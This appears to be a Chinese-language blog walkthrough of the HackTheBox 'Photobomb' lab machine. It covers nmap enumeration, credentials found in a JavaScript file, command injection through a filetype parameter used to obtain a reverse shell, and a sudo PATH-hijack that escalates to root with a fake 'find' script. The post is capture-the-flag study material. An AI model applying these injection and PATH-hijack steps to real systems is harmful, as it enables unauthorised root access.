HTB-Photobomb

OverView

总结一下:注意 Web 细节,比如 js 文件。注意使用 sudo -l进行分析

Enumeration

Nmap

nmap -sV 10.10.11.182

Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-23 15:03 CST
Nmap scan report for photobomb.htb (10.10.11.182)
Host is up (0.33s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.85 seconds

Message Leak

尝试子域名收集,但是似乎是泛解析

尝试访问 /printer 页面但是需要输入用户名和密码授权登录。

image-20221223152306501

点开 photobomb.js 可以看到 if 语句中的行为

image-20221223152420701

直接访问 http://pH0t0:[email protected]/printer 成功到 /printer 页面

RCE

这个页面中可以下载文件。这里卡了好久,看了题解才知道原来 filetype 可以命令执行,,醉了。

image-20221223170015183

去 https://www.revshells.com/ 生成一个 Python3 #2 的反弹 shell 并且 url 编码一下

image-20221223170103213

发送包

image-20221223170129185

然后就接收到了反弹 shell

image-20221223170202519

Privilege escalation

提权:

sudo -l

查看用户权限:

Matching Defaults entries for wizard on photobomb:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User wizard may run the following commands on photobomb:
    (root) SETENV: NOPASSWD: /opt/cleanup.sh

这意味着我们运行 cleanup.sh 的时候权限是当作 root 来执行的。而 NOPASSWD 意思是我们这么做的过程中不需要密码

读取 cleanup.sh

#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb

# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
  /bin/cat log/photobomb.log > log/photobomb.log.old
  /usr/bin/truncate -s0 log/photobomb.log
fi

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;

root.txt

而这个脚本用到了 find 文件

那么接下来的操作就可以提权了

cd /tmp
echo bash > find
chmod +x find
sudo PATH=$PWD:$PATH /opt/cleanup.sh

直接变成了 root

版权声明:除特殊说明,博客文章均为 Shule 原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。
暂无评论

发送评论 编辑评论


|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇